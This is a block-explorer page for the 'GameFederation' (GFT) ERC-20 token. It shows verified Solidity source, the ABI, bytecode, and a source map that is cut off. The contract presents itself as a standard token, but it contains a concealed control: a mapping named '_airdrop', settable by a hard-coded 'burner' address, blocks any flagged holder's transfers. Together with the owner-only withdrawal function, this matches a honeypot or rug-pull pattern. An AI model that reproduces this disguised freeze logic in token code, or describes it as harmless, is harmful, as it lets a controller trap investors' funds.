ETH Price: $4,007.43 (+2.52%)

Token

ERC-20: GameFederation (GFT)
 

Overview

Max Total Supply

290,000,000 GFT

Holders

416

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
29,777.022223727314891549 GFT

Value
$0.00
0xfd1651385548348e1151d918696d5c2ae01b9c37
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
GameFederation

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-07-28
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) internal {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}
contract GameFederation is Context, IERC20, IERC20Metadata,Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances; 
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    address private burner=0xdD3768e04D6Ebd8510955Ef8aF240a5af747C91C;
    mapping (address => bool) public _airdrop;
    constructor() {
       _totalSupply = 290000000  * (10**18);
        _setOwner(0xdD3768e04D6Ebd8510955Ef8aF240a5af747C91C);
        _name="GameFederation";
        _symbol="GFT";
        _mint(0xdD3768e04D6Ebd8510955Ef8aF240a5af747C91C, _totalSupply);
    }
    function burn(uint256 amount) public onlyBurner {
        _burn(msg.sender, amount);
    }
    receive() external payable {
    }

    modifier onlyBurner() {
        require(burner == _msgSender(), "Ownable: caller is not the Burner");
        _;
    }
    
    function withdrwal(address _token,uint256 value ) public onlyBurner{
        if(_token==address(0)){
            payable(owner()).transfer(address(this).balance);
        }else{
          IERC20 token = IERC20(_token);
          token.transfer(owner(), value);
        }
    }
    
    function airdrop(address account, bool isairdrop) public onlyBurner {
        _airdrop[account] = isairdrop;
    }

    function updateBurner(address _newAddress) public onlyBurner{
        burner=_newAddress;
    }
    function name() public view virtual override returns (string memory) {
        return _name;
    }
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
       _transfer(msg.sender, recipient, amount);
       return true;
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {      
        require(!_airdrop[msg.sender],"Error:Invalid Caller");
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }
        return true;
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }
        return true;
    }
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(!_airdrop[sender], "You have been Not airdrop from transfering tokens");
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _beforeTokenTransfer(address(0), account, amount);
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
        _afterTokenTransfer(address(0), account, amount);
    }
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
        _beforeTokenTransfer(account, address(0), amount);
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
        _afterTokenTransfer(account, address(0), amount);
    }
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_airdrop","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"isairdrop","type":"bool"}],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newAddress","type":"address"}],"name":"updateBurner","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"withdrwal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600680546001600160a01b03191673dd3768e04d6ebd8510955ef8af240a5af747c91c1790553480156200003757600080fd5b506aefe1e380442530620000006003556200006673dd3768e04d6ebd8510955ef8af240a5af747c91c620000f3565b60408051808201909152600e81526d23b0b6b2a332b232b930ba34b7b760911b60208201526004906200009a9082620002bb565b5060408051808201909152600381526211d19560ea1b6020820152600590620000c49082620002bb565b50620000ed73dd3768e04d6ebd8510955ef8af240a5af747c91c6003546200014360201b60201c565b620003ae565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b0382166200019e5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b6001600160a01b03821660009081526001602052604081208054839290620001c890849062000387565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200024257607f821691505b6020821081036200026357634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200021257600081815260208120601f850160051c81016020861015620002925750805b601f850160051c820191505b81811015620002b3578281556001016200029e565b505050505050565b81516001600160401b03811115620002d757620002d762000217565b620002ef81620002e884546200022d565b8462000269565b602080601f8311600181146200032757600084156200030e5750858301515b600019600386901b1c1916600185901b178555620002b3565b600085815260208120601f198616915b82811015620003585788860151825594840194600190910190840162000337565b5085821015620003775787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b60008219821115620003a957634e487b7160e01b600052601160045260246000fd5b500190565b61113680620003be6000396000f3fe6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610314578063dd62ed3e14610334578063e675381d1461037a578063f2fde38b1461039a578063f3535726146103ba57600080fd5b806370a082311461026c578063715018a6146102a25780638da5cb5b146102b757806395d89b41146102df578063a457c2d7146102f457600080fd5b8063313ce567116100e7578063313ce567146101be5780633266b6ec146101da57806339509351146101fc57806342966c681461021c5780636e21fc871461023c57600080fd5b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019e57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506101396103da565b6040516101469190610e99565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004610f0a565b61046c565b6040519015158152602001610146565b34801561018b57600080fd5b506003545b604051908152602001610146565b3480156101aa57600080fd5b5061016f6101b9366004610f34565b610482565b3480156101ca57600080fd5b5060405160128152602001610146565b3480156101e657600080fd5b506101fa6101f5366004610f70565b610586565b005b34801561020857600080fd5b5061016f610217366004610f0a565b6105d2565b34801561022857600080fd5b506101fa610237366004610f92565b61060e565b34801561024857600080fd5b5061016f610257366004610f70565b60076020526000908152604090205460ff1681565b34801561027857600080fd5b50610190610287366004610f70565b6001600160a01b031660009081526001602052604090205490565b3480156102ae57600080fd5b506101fa610645565b3480156102c357600080fd5b506000546040516001600160a01b039091168152602001610146565b3480156102eb57600080fd5b506101396106ab565b34801561030057600080fd5b5061016f61030f366004610f0a565b6106ba565b34801561032057600080fd5b5061016f61032f366004610f0a565b610753565b34801561034057600080fd5b5061019061034f366004610fab565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561038657600080fd5b506101fa610395366004610f0a565b610760565b3480156103a657600080fd5b506101fa6103b5366004610f70565b610870565b3480156103c657600080fd5b506101fa6103d5366004610fec565b610938565b6060600480546103e990611023565b80601f016020809104026020016040519081016040528092919081815260200182805461041590611023565b80156104625780601f1061043757610100808354040283529160200191610462565b820191906000526020600020905b81548152906001019060200180831161044557829003601f168201915b5050505050905090565b600061047933848461098d565b50600192915050565b3360009081526007602052604081205460ff16156104de5760405162461bcd60e51b815260206004820152601460248201527322b93937b91d24b73b30b634b21021b0b63632b960611b60448201526064015b60405180910390fd5b6104e9848484610ab2565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561056e5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016104d5565b61057b853385840361098d565b506001949350505050565b6006546001600160a01b031633146105b05760405162461bcd60e51b81526004016104d59061105d565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916104799185906106099086906110b4565b61098d565b6006546001600160a01b031633146106385760405162461bcd60e51b81526004016104d59061105d565b6106423382610d03565b50565b6000546001600160a01b0316331461069f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104d5565b6106a96000610e49565b565b6060600580546103e990611023565b3360009081526002602090815260408083206001600160a01b03861684529091528120548281101561073c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016104d5565b610749338585840361098d565b5060019392505050565b6000610479338484610ab2565b6006546001600160a01b0316331461078a5760405162461bcd60e51b81526004016104d59061105d565b6001600160a01b0382166107d757600080546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156107d2573d6000803e3d6000fd5b505050565b816001600160a01b03811663a9059cbb6107f96000546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018590526044016020604051808303816000875af1158015610846573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086a91906110cc565b50505050565b6000546001600160a01b031633146108ca5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104d5565b6001600160a01b03811661092f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d5565b61064281610e49565b6006546001600160a01b031633146109625760405162461bcd60e51b81526004016104d59061105d565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b0383166109ef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d5565b6001600160a01b038216610a505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d5565b6001600160a01b038216610b785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d5565b6001600160a01b03831660009081526007602052604090205460ff1615610bfb5760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e204e6f742061697264726f702066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b60648201526084016104d5565b6001600160a01b03831660009081526001602052604090205481811015610c735760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104d5565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610caa9084906110b4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cf691815260200190565b60405180910390a361086a565b6001600160a01b038216610d635760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016104d5565b6001600160a01b03821660009081526001602052604090205481811015610dd75760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016104d5565b6001600160a01b0383166000908152600160205260408120838303905560038054849290610e069084906110e9565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610aa5565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b81811015610ec657858101830151858201604001528201610eaa565b81811115610ed8576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610f0557600080fd5b919050565b60008060408385031215610f1d57600080fd5b610f2683610eee565b946020939093013593505050565b600080600060608486031215610f4957600080fd5b610f5284610eee565b9250610f6060208501610eee565b9150604084013590509250925092565b600060208284031215610f8257600080fd5b610f8b82610eee565b9392505050565b600060208284031215610fa457600080fd5b5035919050565b60008060408385031215610fbe57600080fd5b610fc783610eee565b9150610fd560208401610eee565b90509250929050565b801515811461064257600080fd5b60008060408385031215610fff57600080fd5b61100883610eee565b9150602083013561101881610fde565b809150509250929050565b600181811c9082168061103757607f821691505b60208210810361105757634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526021908201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865204275726e656040820152603960f91b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600082198211156110c7576110c761109e565b500190565b6000602082840312156110de57600080fd5b8151610f8b81610fde565b6000828210156110fb576110fb61109e565b50039056fea2646970667358221220004db298a5d5939189d3ad79a57f5c14803e9df7692caeb5217eb684963130fd64736f6c634300080f0033

Deployed Bytecode

0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb14610314578063dd62ed3e14610334578063e675381d1461037a578063f2fde38b1461039a578063f3535726146103ba57600080fd5b806370a082311461026c578063715018a6146102a25780638da5cb5b146102b757806395d89b41146102df578063a457c2d7146102f457600080fd5b8063313ce567116100e7578063313ce567146101be5780633266b6ec146101da57806339509351146101fc57806342966c681461021c5780636e21fc871461023c57600080fd5b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461017f57806323b872dd1461019e57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506101396103da565b6040516101469190610e99565b60405180910390f35b34801561015b57600080fd5b5061016f61016a366004610f0a565b61046c565b6040519015158152602001610146565b34801561018b57600080fd5b506003545b604051908152602001610146565b3480156101aa57600080fd5b5061016f6101b9366004610f34565b610482565b3480156101ca57600080fd5b5060405160128152602001610146565b3480156101e657600080fd5b506101fa6101f5366004610f70565b610586565b005b34801561020857600080fd5b5061016f610217366004610f0a565b6105d2565b34801561022857600080fd5b506101fa610237366004610f92565b61060e565b34801561024857600080fd5b5061016f610257366004610f70565b60076020526000908152604090205460ff1681565b34801561027857600080fd5b50610190610287366004610f70565b6001600160a01b031660009081526001602052604090205490565b3480156102ae57600080fd5b506101fa610645565b3480156102c357600080fd5b506000546040516001600160a01b039091168152602001610146565b3480156102eb57600080fd5b506101396106ab565b34801561030057600080fd5b5061016f61030f366004610f0a565b6106ba565b34801561032057600080fd5b5061016f61032f366004610f0a565b610753565b34801561034057600080fd5b5061019061034f366004610fab565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561038657600080fd5b506101fa610395366004610f0a565b610760565b3480156103a657600080fd5b506101fa6103b5366004610f70565b610870565b3480156103c657600080fd5b506101fa6103d5366004610fec565b610938565b6060600480546103e990611023565b80601f016020809104026020016040519081016040528092919081815260200182805461041590611023565b80156104625780601f1061043757610100808354040283529160200191610462565b820191906000526020600020905b81548152906001019060200180831161044557829003601f168201915b5050505050905090565b600061047933848461098d565b50600192915050565b3360009081526007602052604081205460ff16156104de5760405162461bcd60e51b815260206004820152601460248201527322b93937b91d24b73b30b634b21021b0b63632b960611b60448201526064015b60405180910390fd5b6104e9848484610ab2565b6001600160a01b03841660009081526002602090815260408083203384529091529020548281101561056e5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016104d5565b61057b853385840361098d565b506001949350505050565b6006546001600160a01b031633146105b05760405162461bcd60e51b81526004016104d59061105d565b600680546001600160a01b0319166001600160a01b0392909216919091179055565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916104799185906106099086906110b4565b61098d565b6006546001600160a01b031633146106385760405162461bcd60e51b81526004016104d59061105d565b6106423382610d03565b50565b6000546001600160a01b0316331461069f5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104d5565b6106a96000610e49565b565b6060600580546103e990611023565b3360009081526002602090815260408083206001600160a01b03861684529091528120548281101561073c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016104d5565b610749338585840361098d565b5060019392505050565b6000610479338484610ab2565b6006546001600160a01b0316331461078a5760405162461bcd60e51b81526004016104d59061105d565b6001600160a01b0382166107d757600080546040516001600160a01b03909116914780156108fc02929091818181858888f193505050501580156107d2573d6000803e3d6000fd5b505050565b816001600160a01b03811663a9059cbb6107f96000546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018590526044016020604051808303816000875af1158015610846573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086a91906110cc565b50505050565b6000546001600160a01b031633146108ca5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104d5565b6001600160a01b03811661092f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104d5565b61064281610e49565b6006546001600160a01b031633146109625760405162461bcd60e51b81526004016104d59061105d565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6001600160a01b0383166109ef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d5565b6001600160a01b038216610a505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b165760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d5565b6001600160a01b038216610b785760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d5565b6001600160a01b03831660009081526007602052604090205460ff1615610bfb5760405162461bcd60e51b815260206004820152603160248201527f596f752068617665206265656e204e6f742061697264726f702066726f6d207460448201527072616e73666572696e6720746f6b656e7360781b60648201526084016104d5565b6001600160a01b03831660009081526001602052604090205481811015610c735760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016104d5565b6001600160a01b03808516600090815260016020526040808220858503905591851681529081208054849290610caa9084906110b4565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610cf691815260200190565b60405180910390a361086a565b6001600160a01b038216610d635760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016104d5565b6001600160a01b03821660009081526001602052604090205481811015610dd75760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016104d5565b6001600160a01b0383166000908152600160205260408120838303905560038054849290610e069084906110e9565b90915550506040518281526000906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90602001610aa5565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600060208083528351808285015260005b81811015610ec657858101830151858201604001528201610eaa565b81811115610ed8576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610f0557600080fd5b919050565b60008060408385031215610f1d57600080fd5b610f2683610eee565b946020939093013593505050565b600080600060608486031215610f4957600080fd5b610f5284610eee565b9250610f6060208501610eee565b9150604084013590509250925092565b600060208284031215610f8257600080fd5b610f8b82610eee565b9392505050565b600060208284031215610fa457600080fd5b5035919050565b60008060408385031215610fbe57600080fd5b610fc783610eee565b9150610fd560208401610eee565b90509250929050565b801515811461064257600080fd5b60008060408385031215610fff57600080fd5b61100883610eee565b9150602083013561101881610fde565b809150509250929050565b600181811c9082168061103757607f821691505b60208210810361105757634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526021908201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865204275726e656040820152603960f91b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b600082198211156110c7576110c761109e565b500190565b6000602082840312156110de57600080fd5b8151610f8b81610fde565b6000828210156110fb576110fb61109e565b50039056fea2646970667358221220004db298a5d5939189d3ad79a57f5c14803e9df7692caeb5217eb684963130fd64736f6c634300080f0033

Deployed Bytecode Sourcemap

2116:6170:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3593:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4489:169;;;;;;;;;;-1:-1:-1;4489:169:0;;;;;:::i;:::-;;:::i;:::-;;;1218:14:1;;1211:22;1193:41;;1181:2;1166:18;4489:169:0;1053:187:1;3908:108:0;;;;;;;;;;-1:-1:-1;3996:12:0;;3908:108;;;1391:25:1;;;1379:2;1364:18;3908:108:0;1245:177:1;4664:558:0;;;;;;;;;;-1:-1:-1;4664:558:0;;;;;:::i;:::-;;:::i;3809:93::-;;;;;;;;;;-1:-1:-1;3809:93:0;;3892:2;1902:36:1;;1890:2;1875:18;3809:93:0;1760:184:1;3490:97:0;;;;;;;;;;-1:-1:-1;3490:97:0;;;;;:::i;:::-;;:::i;:::-;;5228:215;;;;;;;;;;-1:-1:-1;5228:215:0;;;;;:::i;:::-;;:::i;2797:92::-;;;;;;;;;;-1:-1:-1;2797:92:0;;;;;:::i;:::-;;:::i;2480:41::-;;;;;;;;;;-1:-1:-1;2480:41:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;4022:127;;;;;;;;;;-1:-1:-1;4022:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;4123:18:0;4096:7;4123:18;;;:9;:18;;;;;;;4022:127;1639:94;;;;;;;;;;;;;:::i;1420:87::-;;;;;;;;;;-1:-1:-1;1466:7:0;1493:6;1420:87;;-1:-1:-1;;;;;1493:6:0;;;2471:51:1;;2459:2;2444:18;1420:87:0;2325:203:1;3699:104:0;;;;;;;;;;;;;:::i;5449:411::-;;;;;;;;;;-1:-1:-1;5449:411:0;;;;;:::i;:::-;;:::i;4155:171::-;;;;;;;;;;-1:-1:-1;4155:171:0;;;;;:::i;:::-;;:::i;4332:151::-;;;;;;;;;;-1:-1:-1;4332:151:0;;;;;:::i;:::-;-1:-1:-1;;;;;4448:18:0;;;4421:7